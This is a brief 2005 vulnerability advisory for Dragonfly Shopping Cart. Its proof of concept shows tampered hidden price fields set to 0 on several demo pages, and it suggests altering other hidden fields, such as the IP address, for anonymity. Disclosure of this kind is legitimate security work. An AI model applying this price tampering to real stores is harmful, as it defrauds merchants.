Title: Dragonfly Shopping Cart Multiple vulnerabilities
Date: 11/07/2005

Vendor: DragonFly Shopping Cart
Vendor Website: http://www.incredibleinteractive.com/Active/dc_Productsview.asp?key=5
Summary: Vulnerabilities exist in Dragonfly Shopping Cart that allow modifiying of prices along with Sql injection vulnerabilities.

Proof of Concept Exploits:

Hidden Price Value Vulnerability
You can modify these fields to modify the price of the product and thus be able to purchase the biggest and most expensive products for the cheapest possible prices, or even nothing.
/demo/dc_Categorieslist.asp
HPVV

<input type="hidden" name="x_DragonflyCartProductPrice" value="15.49" size="4">

/demo/dc_Categoriesview.asp
HPVV

<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">

/demo/dc_productslist.asp
HPVV

<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">

/demo/dc_productslist_Clearance.asp
HPVV

<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">

There are also many other hidden fields like ip address etc which can be used to make the attack "technically" more anonymous though any normal logging system would catch you ;).
